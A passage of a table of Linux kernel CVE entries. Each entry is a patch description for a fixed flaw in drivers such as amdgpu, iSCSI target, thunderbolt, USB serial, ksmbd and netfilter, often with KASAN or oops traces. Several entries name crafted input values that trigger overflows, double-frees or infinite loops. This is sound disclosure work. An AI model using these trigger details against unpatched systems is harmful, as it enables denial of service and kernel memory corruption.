808e0000 8046fc84 1000ac01 00000028 80e20700 802ba3f8 80e20700 80d34a94 80c1b900 80e20700 80e20700 80e20700 80e20700 80444650 00000000 00000000 00000000 807f5a90 808b0094 80447080 00400040 808e0000 80d34a94 808a6148 80d34a94 00000004 80e20700 00000000 8076974c 80469810 80c2fe3c 1000ac01 ... Call Trace: [<8048b3a4>] __dev_fwnode+0x0/0xc [<80470a78>] serial_base_ctrl_add+0xa0/0x168 [<8046fc84>] serial_core_register_port+0x1c8/0x974 [<808c6af0>] dz_init+0x74/0xc8 [<800470e0>] do_one_initcall+0x44/0x2d4 [<808b111c>] kernel_init_freeable+0x258/0x308 [<8072e434>] kernel_init+0x20/0x114 [<80049cd0>] ret_from_kernel_thread+0x14/0x1c Code: 27bd0018 03e00008 2402ffea <8c8200bc> 03e00008 00000000 27bdffc0 afbe0038 afb30024 ---[ end trace 0000000000000000 ]--- -- where a pointer is dereferenced that has been derived from a null pointer to the port's parent device. Since no device is available with legacy probing and it's not anymore a preferable way to discover devices anyway, switch the driver to using a platform device and use it as the port's parent device. Update resource handling accordingly and only request the actual span of addresses used within the slot, which will have had its resource already requested by generic platform device code. Use platform_driver_probe() not just because the DZ device is fixed with solder on board and not straightforward to remove, but foremost because the associated TTY's major device number is the same as used by the zs driver and the first driver to claim it will prevent the other one from using it. Either one DZ device or some SCC devices will be present in a given system but never both at a time, and therefore we want the major device number to be claimed by the first driver to actually successfully bind to its device and platform_driver_probe() is a way to fulfil that. An unfortunate consequence of the switch to a platform device is we now hand the console over from the bootconsole much later in the bootstrap. The firmware console handler appears good enough though to work so late and in particular with interrupts enabled. Conversely only starting the console port so late lets the reset code fully utilise our delay handlers, so switch from udelay() to fsleep() for transmitter draining so as to avoid busy-waiting for an excessive amount of time. |
| CVE-2026-63879 | In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix amdgpu_hmm_range_get_pages The notifier sequence must only be read once or otherwise we could work with invalid pages. While at it also fix the coding style, e.g. drop the pre-initialized return value and use the common define for 2G range. (cherry picked from commit c08972f555945cda57b0adb72272a37910153390) |
| CVE-2026-63881 | In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: fix a vulnerability of integer overflow in kfd debugger get_queue_ids() computes array_size = num_queues * sizeof(uint32_t), which could overflow on 32-bit size_t build. using array_size() instead, it saturates to SIZE_MAX on overflow. (cherry picked from commit 2d57a0475f085c08b49312dfd8edcb461845f285) |
| CVE-2026-63882 | In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: fix NULL pointer bug in svm_range_set_attr The process_info could be NULL if user doesn't call kfd_ioctl_acquire_vm before calling kfd_ioctl_svm. (cherry picked from commit 83a26c812e0529eb040d31a76f73e33e637243d4) |
| CVE-2026-63883 | In the Linux kernel, the following vulnerability has been resolved: serial: qcom_geni: fix kfifo underflow when flush precedes DMA completion IRQ When uart_flush_buffer() runs before the DMA completion IRQ is delivered, the following race can occur (all steps serialized by uart_port_lock): 1. DMA starts: tx_remaining = N, kfifo contains N bytes 2. DMA completes in hardware; IRQ is pending but not yet delivered 3. uart_flush_buffer() acquires the port lock and calls kfifo_reset(), making kfifo_len() = 0 while tx_remaining remains N 4. uart_flush_buffer() releases the port lock 5. DMA IRQ fires; handle_tx_dma() acquires the port lock and calls uart_xmit_advance(uport, tx_remaining) on an empty kfifo uart_xmit_advance() increments kfifo->out by tx_remaining. Since kfifo_reset() already set both in and out to 0, out wraps past in, causing kfifo_len() to return UART_XMIT_SIZE - tx_remaining. The next start_tx_dma() call then submits a DMA transfer of stale buffer data. Fix this by snapshotting kfifo_len() at the start of handle_tx_dma() and skipping uart_xmit_advance() when fifo_len < tx_remaining, which indicates the kfifo was reset by a preceding flush. |
| CVE-2026-63884 | In the Linux kernel, the following vulnerability has been resolved: drm/i915: Fix potential UAF in TTM object purge TLDR: The bo->ttm object might be changed by calling ttm_bo_validate(), move casting it to an i915_tt object later to actually get the right pointer. A user reported hitting the following bug under heavy use on DG2: [26620.095550] Oops: general protection fault, probably for non-canonical address 0xa56b6b6b6b6b6b8b: 0000 1 SMP NOPTI [26620.095556] CPU: 2 UID: 0 PID: 631 Comm: Xorg Not tainted 6.18.8 #1 PREEMPT(lazy) [26620.095558] Hardware name: ASRock B850M Steel Legend WiFi/B850M Steel Legend WiFi, BIOS 3.50 09/18/2025 [26620.095559] RIP: 0010:i915_ttm_purge+0x84/0x100 [i915] [26620.095604] Code: 00 00 00 48 8d 54 24 10 48 89 e6 48 89 fb e8 83 aa ae ff 85 c0 75 6f 48 83 bb a8 01 00 00 00 74 2c 48 8b 45 78 48 85 c0 74 23 <48> 8b 78 20 48 c7 c2 ff ff ff ff 31 f6 e8 7a 73 e3 e0 48 8b 7d 78 [26620.095605] RSP: 0018:ffffc90005fd7430 EFLAGS: 00010282 [26620.095607] RAX: a56b6b6b6b6b6b6b RBX: ffff8881f46c3dc0 RCX: 0000000000000000 [26620.095608] RDX: 0000000000000000 RSI: 0000000000000246 RDI: 00000000ffffffff [26620.095609] RBP: ffff888289610f00 R08: 0000000000000001 R09: ffff88823b022000 [26620.095609] R10: ffff888103029b28 R11: ffff8881fc7f3800 R12: ffff88810b6150d0 [26620.095609] R13: ffff888289610f00 R14: 0000000000000000 R15: ffff8881f46c3dc0 [26620.095610] FS: 00007f1004d86900(0000) GS:ffff88901c858000(0000) knlGS:0000000000000000 [26620.095611] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [26620.095611] CR2: 00007f0fdf489000 CR3: 000000035b0c1000 CR4: 0000000000750ef0 [26620.095612] PKRU: 55555554 [26620.095612] Call Trace: [26620.095615] <TASK> [26620.095615] i915_ttm_move+0x2b9/0x420 [i915] [26620.095642] ? ttm_tt_init+0x65/0x80 [ttm] [26620.095644] ? i915_ttm_tt_create+0xc6/0x150 [i915] [26620.095667] ttm_bo_handle_move_mem+0xb6/0x160 [ttm] [26620.095669] ttm_bo_evict+0x100/0x150 [ttm] [26620.095671] ? preempt_count_add+0x64/0xa0 [26620.095673] ? _raw_spin_lock+0xe/0x30 [26620.095675] ? _raw_spin_unlock+0xd/0x30 [26620.095675] ? i915_gem_object_evictable+0xb7/0xd0 [i915] [26620.095704] ttm_bo_evict_cb+0x6e/0xd0 [ttm] [26620.095705] ttm_lru_walk_for_evict+0xa6/0x200 [ttm] [26620.095708] ttm_bo_alloc_resource+0x185/0x4f0 [ttm] [26620.095709] ? init_object+0x62/0xd0 [26620.095712] ttm_bo_validate+0x7a/0x180 [ttm] [26620.095713] ? _raw_spin_unlock_irqrestore+0x16/0x30 [26620.095714] __i915_ttm_get_pages+0xb0/0x170 [i915] [26620.095737] i915_ttm_get_pages+0x9f/0x150 [i915] [26620.095759] ? i915_gem_do_execbuffer+0xedc/0x2b40 [i915] [26620.095786] ? alloc_debug_processing+0xd0/0x100 [26620.095787] ? _raw_spin_unlock_irqrestore+0x16/0x30 [26620.095788] ? i915_vma_instance+0xa0/0x4e0 [i915] [26620.095822] __i915_gem_object_get_pages+0x2f/0x40 [i915] [26620.095848] i915_vma_pin_ww+0x706/0x980 [i915] [26620.095875] ? i915_gem_do_execbuffer+0xedc/0x2b40 [i915] [26620.095904] eb_validate_vmas+0x170/0xa00 [i915] [26620.095930] i915_gem_do_execbuffer+0x1201/0x2b40 [i915] [26620.095953] ? alloc_debug_processing+0xd0/0x100 [26620.095954] ? _raw_spin_unlock_irqrestore+0x16/0x30 [26620.095955] ? i915_gem_execbuffer2_ioctl+0xc9/0x240 [i915] [26620.095977] ? __wake_up_sync_key+0x32/0x50 [26620.095979] ? i915_gem_execbuffer2_ioctl+0xc9/0x240 [i915] [26620.096001] ? __slab_alloc.isra.0+0x67/0xc0 [26620.096003] i915_gem_execbuffer2_ioctl+0x11a/0x240 [i915] Results from decode_stacktrace.sh pointed to dereference of a file pointer field of a i915 TTM page vector container associated with an object being purged on eviction. That path is taken when the object is marked as no longer needed. Code analysis revealed a possibility of the i915 TTM page vector container being replaced with a new instance inside a function that purges content of the object, should it be still busy. That function is called, indirectly via a more general function that changes the object's placement and caching policy, ---truncated--- |
| CVE-2026-63886 | In the Linux kernel, the following vulnerability has been resolved: scsi: target: iscsi: Validate CHAP_R length before base64 decode chap_server_compute_hash() allocates client_digest as kzalloc(chap->digest_size) and then, for BASE64-encoded responses, passes chap_r directly to chap_base64_decode() without checking whether the input length could produce more than digest_size bytes of output. chap_base64_decode() writes to the destination unconditionally as long as there is input to consume. With MAX_RESPONSE_LENGTH set to 128 and the "0b" prefix stripped by extract_param(), up to 127 base64 characters can reach the decoder. 127 characters decode to 95 bytes. For SHA-256 (digest_size=32) this overflows client_digest by 63 bytes; for MD5 (digest_size=16) the overflow is 79 bytes. The length check at line 344 fires after the write has already happened. The HEX branch in the same switch statement already validates the length up front. Apply the same approach to the BASE64 branch: strip trailing base64 padding characters, then reject any input whose data length exceeds DIV_ROUND_UP(digest_size * 4, 3) before calling the decoder. Stripping trailing '=' before the comparison handles both padded and unpadded encodings. chap_base64_decode() already returns early on '=', so the full original string is still passed to the decoder unchanged. The mutual CHAP path decodes CHAP_C into initiatorchg_binhex, which is kzalloc(CHAP_CHALLENGE_STR_LEN). extract_param() caps initiatorchg at CHAP_CHALLENGE_STR_LEN characters, so at most CHAP_CHALLENGE_STR_LEN-1 base64 characters reach the decoder. The maximum decoded size, DIV_ROUND_UP((CHAP_CHALLENGE_STR_LEN-1) * 3, 4), is less than CHAP_CHALLENGE_STR_LEN, so no overflow is possible there. A comment is added at the call site to document this. |
| CVE-2026-63887 | In the Linux kernel, the following vulnerability has been resolved: scsi: target: iscsi: Bound iscsi_encode_text_output() appends to rsp_buf iscsi_encode_text_output() concatenates "key=value\0" records into login->rsp_buf, an 8192-byte kzalloc(MAX_KEY_VALUE_PAIRS) buffer allocated in iscsit_alloc_login_setup_buffer(). The three sprintf() call sites in this function (lines 1398, 1411, 1424 in v7.1-rc2) never check the remaining buffer capacity: *length += sprintf(output_buf, "%s=%s", er->key, er->value); *length += 1; output_buf = textbuf + *length; The 8192-byte ceiling at iscsi_target_check_login_request() bounds the *input* Login PDU payload, but a single PDU can carry up to 2048 minimal four-byte "a=b\0" pairs, each unknown key expanding to a 16-byte "a=NotUnderstood\0" output record via iscsi_add_notunderstood_response(). 2048 * 16 = 32 KiB of output into an 8 KiB buffer, producing a ~24 KiB heap overrun in the kmalloc-8k slab. The fix introduces a static iscsi_encode_text_record() helper that uses snprintf() with a per-call bounds check against the remaining buffer, and threads a u32 textbuf_size parameter through iscsi_encode_text_output(). Both call sites in iscsi_target_handle_csg_zero() (PHASE_SECURITY) and iscsi_target_handle_csg_one() (PHASE_OPERATIONAL) pass MAX_KEY_VALUE_PAIRS. On overflow the encoder logs the condition, calls iscsi_release_extra_responses() to drop queued records, and returns -1; both caller sites now emit ISCSI_STATUS_CLS_INITIATOR_ERR / ISCSI_LOGIN_STATUS_INIT_ERR via iscsit_tx_login_rsp() before returning, so the initiator sees an explicit failed-login response rather than a silent connection drop. (Prior to this patch only the PHASE_OPERATIONAL caller did that; the PHASE_SECURITY caller is converted to the same shape.) |
| CVE-2026-63888 | In the Linux kernel, the following vulnerability has been resolved: scsi: target: iscsi: Fix CRC overread and double-free in iscsit_handle_text_cmd() Two latent bugs in the Text-phase handler, both present since the original LIO integration in commit e48354ce078c ("iscsi-target: Add iSCSI fabric support for target v4.1"): 1) DataDigest CRC buffer overread (4 bytes past text_in). text_in is kzalloc()'d at ALIGN(payload_length, 4). rx_size is then incremented by ISCSI_CRC_LEN to make room for the received DataDigest in the iovec, but the same (now-bumped) rx_size is passed as the buffer length to iscsit_crc_buf(): if (conn->conn_ops->DataDigest) { ... rx_size += ISCSI_CRC_LEN; } ... if (conn->conn_ops->DataDigest) { data_crc = iscsit_crc_buf(text_in, rx_size, 0, NULL); iscsit_crc_buf() walks rx_size bytes of text_in with crc32c(), so when DataDigest is negotiated it reads 4 bytes past the end of the text_in allocation. KASAN reproduces this directly on the unpatched mainline tree as slab-out-of-bounds in crc32c() called from the Text PDU path. The OOB bytes feed crc32c() and are then compared against the initiator-supplied checksum, so the value does not flow back to the attacker, but the kernel does read past the buffer on every Text PDU with DataDigest=CRC32C. Fix by passing the actual padded payload length (ALIGN(payload_length, 4)) that was used for the kzalloc(). 2) Stale cmd->text_in_ptr re-free (double-free) on ERL>0 bad DataDigest drop. On DataDigest mismatch with ErrorRecoveryLevel > 0 the handler silently drops the PDU and lets the initiator plug the CmdSN gap: kfree(text_in); return 0; cmd->text_in_ptr still points at the freed buffer. The next Text Request on the same ITT re-enters iscsit_setup_text_cmd(), which unconditionally does kfree(cmd->text_in_ptr); cmd->text_in_ptr = NULL; freeing the same pointer a second time. Session teardown via iscsit_release_cmd() has the same shape and hits the same double-free if the connection is dropped before a second Text Request arrives. On an unmodified mainline tree the bug-1 CRC overread fires first on the initial valid Text Request and perturbs the subsequent state, so #4 was isolated by building a kernel with only the bug-1 hunk of this patch applied plus temporary printk() observability around the three relevant kfree() sites. The observability prints are not part of this patch. On that build, a three-PDU Text Request sequence after login produces two back-to-back splats: BUG: KASAN: double-free in iscsit_setup_text_cmd+0x?? BUG: KASAN: double-free in iscsit_release_cmd+0x?? showing the same pointer freed in the ERL>0 drop path and again in iscsit_setup_text_cmd() (next Text Request on the same ITT) and once more in iscsit_release_cmd() (session teardown). On distro kernels with CONFIG_SLAB_FREELIST_HARDENED=y (default) the double-free becomes a remote kernel BUG(); on non-hardened kernels it corrupts the slab freelist. Fix by clearing cmd->text_in_ptr after the kfree() in the ERL>0 drop path. With both hunks applied #4 is directly observable on the stock tree without observability printks; fixing bug-1 alone would mask #4 less, not more, so the hunks are submitted together. Both fixes are one-liners. The Text PDU state machine is unchanged and the wire protocol is unaffected. |
| CVE-2026-63889 | In the Linux kernel, the following vulnerability has been resolved: scsi: scsi_transport_fc: Widen FPIN pname walker counter to u32 An adjacent Fibre Channel fabric actor that can deliver an FPIN ELS frame to an lpfc or qla2xxx Linux initiator can trigger a non-return in the generic FC transport. This is not a local userspace or IP network path; the attacker must be able to inject fabric traffic, for example as a compromised switch or fabric controller, or as a same-zone N_Port on a fabric that permits source spoofing. The Link-Integrity and Peer-Congestion FPIN walkers used a u8 loop counter against the 32-bit on-wire pname_count field, and did not bound pname_count by the descriptor body already validated by the TLV walker. A pname_count of 256 therefore wraps the counter and keeps the loop condition true indefinitely. Factor the shared pname_list[] walk into one helper, widen the counter to u32, and clamp pname_count against the entries that fit in the descriptor body before iterating. |
| CVE-2026-63890 | In the Linux kernel, the following vulnerability has been resolved: scsi: fcoe: Reject FIP descriptors with zero fip_dlen in CVL walker drivers/scsi/fcoe/fcoe_ctlr.c::fcoe_ctlr_recv_clr_vlink() advanced the descriptor cursor by an attacker-supplied fip_dlen without ever requiring dlen >= sizeof(struct fip_desc) in the default branch. The named descriptor cases (FIP_DT_MAC, FIP_DT_NAME, FIP_DT_VN_ID) checked their per-type minimum lengths, but a FIP_DT_NON_CRITICAL descriptor (fip_dtype >= 128, which the standard requires receivers to silently ignore) skipped that check entirely. An unauthenticated L2 peer on the FCoE control VLAN could hang fcoe_ctlr_recv_work on an fcoe, qedf, or bnx2fc initiator indefinitely by emitting one FIP CVL frame whose single descriptor had fip_dtype == FIP_DT_NON_CRITICAL and fip_dlen == 0: the cursor advanced zero bytes per iteration and the loop condition rlen >= sizeof(*desc) stayed true forever, blocking every subsequent FIP frame on that controller. Tighten the outer dlen guard to also reject dlen < sizeof(struct fip_desc), so a malformed descriptor whose length cannot even cover the descriptor header is rejected before the switch. This is the same lower-bound the named cases already apply and is the minimum scope that closes the loop. |
| CVE-2026-63891 | In the Linux kernel, the following vulnerability has been resolved: thunderbolt: property: Cap recursion depth in __tb_property_parse_dir() A DIRECTORY entry's value field is used as the dir_offset for a recursive call into __tb_property_parse_dir() with no depth counter. A crafted peer that chains DIRECTORY entries into a back-reference loop drives the parser until the kernel stack is exhausted and the guard page fires. Any untrusted XDomain peer (cable, dock, in-line inspector, adjacent host) that reaches the PROPERTIES_REQUEST control-plane exchange can trigger this without authentication. Thread a depth counter through tb_property_parse() and __tb_property_parse_dir(), and reject blocks that exceed TB_PROPERTY_MAX_DEPTH = 8. That is comfortably larger than any observed legitimate XDomain layout. Operators who do not need XDomain host-to-host discovery can disable the path entirely with thunderbolt.xdomain=0 on the kernel command line. |
| CVE-2026-63892 | In the Linux kernel, the following vulnerability has been resolved: thunderbolt: property: Reject dir_len < 4 to prevent size_t underflow On the non-root path, __tb_property_parse_dir() takes dir_len from entry->length (u16 widened to size_t). Two distinct OOB conditions follow when entry->length < 4: 1. The non-root path begins with kmemdup(&block[dir_offset], sizeof(*dir->uuid), ...) which always reads 4 dwords from dir_offset. tb_property_entry_valid() only enforces dir_offset + entry->length <= block_len, so a crafted entry with dir_offset close to the end of the property block and entry->length in 0..3 passes that gate but lets the UUID copy run off the block (e.g. dir_offset = 497, dir_len = 3 in a 500-dword block reads block[497..501]). 2. After the kmemdup, content_len = dir_len - 4 underflows size_t to ~SIZE_MAX, nentries becomes SIZE_MAX / 4, and the entry walk runs OOB on each iteration until an entry fails validation or the kernel oopses on an unmapped page. Reject dir_len < 4 on the non-root path *before* the UUID kmemdup, which closes both holes. Also move INIT_LIST_HEAD(&dir->properties) up to immediately after the dir allocation so the new error-return path (and the existing uuid-alloc failure path) calling tb_property_free_dir() sees a walkable list rather than the zero-initialized NULL next/prev that list_for_each_entry_safe() would oops on. |
| CVE-2026-63893 | In the Linux kernel, the following vulnerability has been resolved: thunderbolt: property: Reject u32 wrap in tb_property_entry_valid() entry->value is u32 and entry->length is u16; the sum is performed in u32 and wraps. A malicious XDomain peer can pick value = 0xffffff00, length = 0x100 so the sum 0x100000000 wraps to 0 and passes the > block_len check. tb_property_parse() then passes entry->value to parse_dwdata() as a dword offset into the property block, reading attacker-directed memory far past the allocation. For TEXT-typed entries with the "deviceid" or "vendorid" keys this lands in xd->device_name / xd->vendor_name and is readable back via the per-XDomain device_name / vendor_name sysfs attributes; the leak is NUL-bounded (kstrdup() stops at the first zero byte) and untargeted (the attacker picks a delta, not an absolute address). DATA-typed entries are parsed into property->value.data but not generically surfaced to userspace. Use check_add_overflow() so a wrapped sum is rejected. |
| CVE-2026-63895 | In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: copy only received bytes on short ep0 read ffs_ep0_read() allocates its control-OUT data buffer with kmalloc() (not kzalloc) at the Length value from the Setup packet, then copies that full len to userspace regardless of how many bytes were actually received: data = kmalloc(len, GFP_KERNEL); ... ret = __ffs_ep0_queue_wait(ffs, data, len); if ((ret > 0) && (copy_to_user(buf, data, len))) ret = -EFAULT; __ffs_ep0_queue_wait() returns req->actual, which on a short control OUT transfer is strictly less than len. The copy_to_user() call still copies len bytes, so on a short OUT the last (len - ret) bytes of the kmalloc() buffer -- uninitialised slab residue -- are delivered to the FunctionFS daemon. Short ep0 OUT completions are specified USB control-transfer behavior and are produced by in-tree UDCs: * dwc2 continues on req->actual < req->length for ep0 DATA OUT (short-not-ok is the only ep0-OUT stall path). * aspeed_udc ends ep0 OUT on rx_len < ep->ep.maxpacket. * renesas_usbf logs "ep0 short packet" and completes the request. * dwc3 stalls on short IN but not on short OUT. A short ep0 OUT is therefore not evidence of a broken UDC; it is a normal condition f_fs has to cope with. The sibling gadgetfs implementation in drivers/usb/gadget/legacy/inode.c already does this correctly via min(len, dev->req->actual) before copy_to_user(). This patch brings f_fs.c to the same safe pattern rather than trimming at a defensive layer. The bug is reached from the FunctionFS device node, which in real deployments is owned by the privileged gadget daemon (adbd, UMS, composite gadget services, etc.); it is not reachable from unprivileged userspace. Linux host stacks normally reject short-wLength control OUTs before they reach the gadget, so reproducing this required a build that bypasses that host-side check. With the bypass in place, a 1-byte payload on a 64-byte Setup produces 63 bytes of non-canary slab residue in the daemon's read buffer. Fix by copying only ret (actually received) bytes to userspace. |
| CVE-2026-63896 | In the Linux kernel, the following vulnerability has been resolved: usb: gadget: composite: fix integer underflow in WebUSB GET_URL handling The WebUSB GET_URL handler in composite_setup() narrows landing_page_length to fit the host-supplied wLength using landing_page_length = w_length - WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH + landing_page_offset; If wLength is smaller than WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH the unsigned subtraction wraps, and the subsequent memcpy(url_descriptor->URL, cdev->landing_page + landing_page_offset, landing_page_length - landing_page_offset); ends up copying close to UINT_MAX bytes from cdev->landing_page into cdev->req->buf. KASAN reports a slab-out-of-bounds in composite_setup on the kmalloc-2k gadget_info allocation, and FORTIFY_SOURCE traps the memcpy as a 4294967293-byte field-spanning write into url_descriptor->URL (size 252). A USB host can reach this from a single SETUP packet against any gadget that has webusb/use=1 and a landingPage configured. Handle the small-wLength case before the math: when the host requested fewer bytes than the URL descriptor header, only the header is meaningful and no URL bytes need to be copied. Setting landing_page_length to landing_page_offset makes the existing memcpy a no-op and leaves the descriptor returned to the host unchanged for all larger wLength values. |
| CVE-2026-63897 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: mct_u232: fix missing interrupt-in transfer sanity check Add the missing sanity check on the size of interrupt-in transfers to avoid parsing stale or uninitialised slab data (and leaking it to user space). |
| CVE-2026-63898 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: mct_u232: fix memory corruption with small endpoint The driver overrides the maximum transfer size for a specific device which only accepts 16 byte packets for its 32 byte bulk-out endpoint. Make sure to never increase the maximum transfer size to prevent slab corruption should a malicious device report a smaller endpoint max packet size than expected. |
| CVE-2026-63899 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: mxuport: fix memory corruption with small endpoint Make sure that the bulk-out endpoint max packet size is at least eight bytes to avoid user-controlled slab corruption should a malicious device report a smaller size. |
| CVE-2026-63900 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: keyspan: fix missing indat transfer sanity check Add the missing sanity check on the size of usa49wg indat transfers to avoid parsing stale or uninitialised slab data. |
| CVE-2026-63901 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: digi_acceleport: fix memory corruption with small endpoints Add the missing bulk-out buffer size sanity checks to avoid out-of-bounds memory accesses or slab corruption should a malicious device report smaller buffers than expected. |
| CVE-2026-63902 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: cypress_m8: validate interrupt packet headers cypress_read_int_callback() parses the interrupt-in buffer according to the selected Cypress packet format. Format 1 has a two-byte status/count header and format 2 has a one-byte combined status/count header. The usb-serial core sizes the interrupt-in buffer from the endpoint descriptor's wMaxPacketSize, and successful interrupt transfers can complete short when URB_SHORT_NOT_OK is not set. Check that the completed packet contains the selected header before reading it. Malformed short reports are ignored and the interrupt URB is resubmitted through the existing retry path, preventing out-of-bounds header-byte reads. KASAN report as below: KASAN slab-out-of-bounds in cypress_read_int_callback+0x240/0x7f0 Read of size 1 Call trace: cypress_read_int_callback() (drivers/usb/serial/cypress_m8.c:1009) __usb_hcd_giveback_urb() dummy_timer() [ johan: use constants in header length sanity checks ] |
| CVE-2026-63903 | In the Linux kernel, the following vulnerability has been resolved: USB: serial: belkin_sa: validate interrupt status length The Belkin interrupt callback treats interrupt data as a four-byte status report and reads LSR/MSR fields at offsets 2 and 3. The interrupt-in buffer length is derived from endpoint wMaxPacketSize, and short interrupt transfers may complete successfully with a smaller actual_length. Check the completed interrupt packet length before parsing status fields so short interrupt endpoints and short successful packets are ignored instead of causing out-of-bounds or stale status-byte reads. KASAN report as below: BUG: KASAN: slab-out-of-bounds in belkin_sa_read_int_callback() Read of size 1 Call trace: belkin_sa_read_int_callback() (drivers/usb/serial/belkin_sa.c:202) __usb_hcd_giveback_urb() (drivers/usb/core/hcd.c:1630) dummy_timer() (?:?) |
| CVE-2026-63904 | In the Linux kernel, the following vulnerability has been resolved: usb: usbtmc: check URB actual_length for interrupt-IN notifications USBTMC devices can use an optional interrupt endpoint for notification messages. These typically contain two-byte headers indicating the payload format, but the driver does not check if these headers are present before accessing the data buffers. In cases where the URB actual_length is not enough to fit these headers, the driver will either cause an out-of-bounds read, or consume stale leftover data from a previous notification. Fix by checking if actual_data contains enough bytes for the headers, otherwise resubmit URB to the interrupt endpoint. |
| CVE-2026-63905 | In the Linux kernel, the following vulnerability has been resolved: usbip: vudc: Fix use after free bug in vudc_remove due to race condition This patch follows up Zheng Wang's 2023 report of a use-after-free in vudc_remove(). The original thread stalled on Shuah Khan's request for runtime testing of the unplug/unbind path. This patch supplies that testing and keeps Zheng's original fix shape. In vudc_probe(), v_init_timer() binds udc->tr_timer.timer to v_timer(). usbip_sockfd_store() starts the timer via v_start_timer()/v_kick_timer(). vudc_remove() can then free the containing struct vudc while the timer is still pending or executing. KASAN confirms the race on an unpatched x86_64 QEMU guest with CONFIG_KASAN=y, CONFIG_USBIP_VUDC=y, CONFIG_USB_ZERO=y, and a tight loop that repeatedly writes a socket fd to usbip_sockfd, closes the socket pair, and unbinds/rebinds usbip-vudc.0: BUG: KASAN: slab-use-after-free in __run_timer_base.part.0+0x8ba/0x8e0 Write of size 8 at addr ffff888001b80740 by task trigger_and_unb/239 Allocated by task 239: vudc_probe+0x4d/0xaa0 Freed by task 239: kfree+0x18f/0x520 device_release_driver_internal+0x388/0x540 unbind_store+0xd9/0x100 This lands in the timer core rather than v_timer() itself because the embedded timer_list is being walked after its containing struct vudc has already been freed. The underlying lifetime bug is the same one Zheng reported. With v_stop_timer() called from vudc_remove() and the timer deleted synchronously, the same harness completed 5000 bind/unbind iterations with no KASAN report. |
| CVE-2026-63906 | In the Linux kernel, the following vulnerability has been resolved: usb: musb: omap2430: Fix use-after-free in omap2430_probe() In omap2430_probe(), of_node_put(np) is called prematurely before the last access to np, leading to a use-after-free if the node's reference count drops to zero. Move the of_node_put() calls after the last use of np in both the success and error paths. |
| CVE-2026-63908 | In the Linux kernel, the following vulnerability has been resolved: Input: atmel_mxt_ts - fix boundary check in mxt_prepare_cfg_mem When a configuration file provides an object size that is larger than the driver's known mxt_obj_size(object), the driver intends to discard the extra bytes. The loop iterates using for (i = 0; i < size; i++). Inside the loop, the condition to skip processing extra bytes is: if (i > mxt_obj_size(object)) continue; Since i is a 0-based index, the valid indices for the object are 0 through mxt_obj_size(object) - 1. When i == mxt_obj_size(object), the condition evaluates to false, and the code processes the byte instead of discarding it. This causes the code to calculate byte_offset = reg + i - cfg->start_ofs and writes the byte there, overwriting exactly one byte of the adjacent instance or object. Update the boundary check to skip extra bytes correctly by using >=. |
| CVE-2026-63909 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: OOB read regression in smb_check_perm_dacl() ACE-walk loops Commit d07b26f39246 ("ksmbd: require minimum ACE size in smb_check_perm_dacl()") introduced a transposed bounds check: if (offsetof(struct smb_ace, sid) + aces_size < CIFS_SID_BASE_SIZE) Since offsetof(..sid) is 8 and CIFS_SID_BASE_SIZE is 8, this evaluates to `aces_size < 0`. Because `aces_size` is always non-negative, this check becomes dead code and never breaks the loop. Worse, that commit removed the old 4-byte guard, meaning the loop now reads `ace->size` (offset 2) even when `aces_size` is 0-3 bytes. This re-opens a 2-byte heap out-of-bounds (OOB) read past the pntsd allocation during subsequent SMB2_CREATE operations. Fix this by properly transposing the comparison to require at least 16 bytes (8-byte offset + 8-byte SID base), matching the correct form used in smb_inherit_dacl(). |
| CVE-2026-63912 | In the Linux kernel, the following vulnerability has been resolved: xfrm: esp: restore combined single-frag length gate The ESP out-of-place fast path appends the trailer in esp_output_head() before esp_output_tail() allocates the destination page frag. The head-side gate currently checks skb->data_len and tailen separately, but the tail code allocates a single destination frag from the combined post-trailer skb->data_len. Reject the page-frag fast path when the combined aligned length exceeds a page. Otherwise skb_page_frag_refill() may fall back to a single page while the destination sg still spans the combined skb->data_len. Restore this combined-length page gate for both IPv4 and IPv6. |
| CVE-2026-63913 | In the Linux kernel, the following vulnerability has been resolved: netfilter: conntrack: tcp: do not force CLOSE on invalid-seq RST without direction check An unintended behavior in the TCP conntrack state machine allows a connection to be forced into the CLOSE state using an RST packet with an invalid sequence number. Specifically, after a SYN packet is observed, an RST with an invalid SEQ can transition the conntrack entry to TCP_CONNTRACK_CLOSE, regardless of whether the RST corresponds to the expected reply direction. The relevant code path assumes the RST is a response to an outgoing SYN, but does not validate packet direction or ensure that a matching SYN was actually sent in the opposite direction. As a result, a crafted packet sequence consisting of a SYN followed by an invalid-sequence RST can prematurely terminate an active NAT entry. This makes connection teardown easier than intended. So, tighten the state transition logic to ensure that RST-triggered CLOSE transitions only occur when the RST is a valid response to a previously observed SYN in the correct direction. |
| CVE-2026-63914 | In the Linux kernel, the following vulnerability has been resolved: xfrm: route MIGRATE notifications to caller's netns xfrm_send_migrate() in net/xfrm/xfrm_user.c and pfkey_send_migrate() in net/key/af_key.c both hardcode &init_net for the multicast that announces a successful XFRM_MSG_MIGRATE / SADB_X_MIGRATE. XFRM_MSG_MIGRATE arrives on a per-netns NETLINK_XFRM socket, and the rest of the xfrm/af_key netlink path was made netns-aware in 2008. The other 14 multicast paths in xfrm_user.c route their event using xs_net(x), xp_net(xp) or sock_net(skb->sk); only the migrate path was missed. Two consequences of the init_net hardcoding: 1. The notification (selector, old/new endpoint addresses, and the km_address) is delivered to listeners on init_net's XFRMNLGRP_MIGRATE / pfkey BROADCAST_ALL groups rather than on the issuing netns. An IKE daemon running in init_net therefore receives migration notifications originating from any other netns on the host. 2. An IKE daemon running inside a non-init netns and subscribed to its own XFRMNLGRP_MIGRATE / pfkey groups never receives the notification of its own migration. IKEv2 MOBIKE / address-update handling inside a netns is silently broken. Thread struct net through km_migrate() and the xfrm_mgr.migrate function pointer, drop the &init_net override in xfrm_send_migrate() and pfkey_send_migrate(), and pass the caller's net (already in scope in xfrm_migrate() via sock_net(skb->sk)) all the way down. struct xfrm_mgr is in-tree only and not exported as a stable API, so the 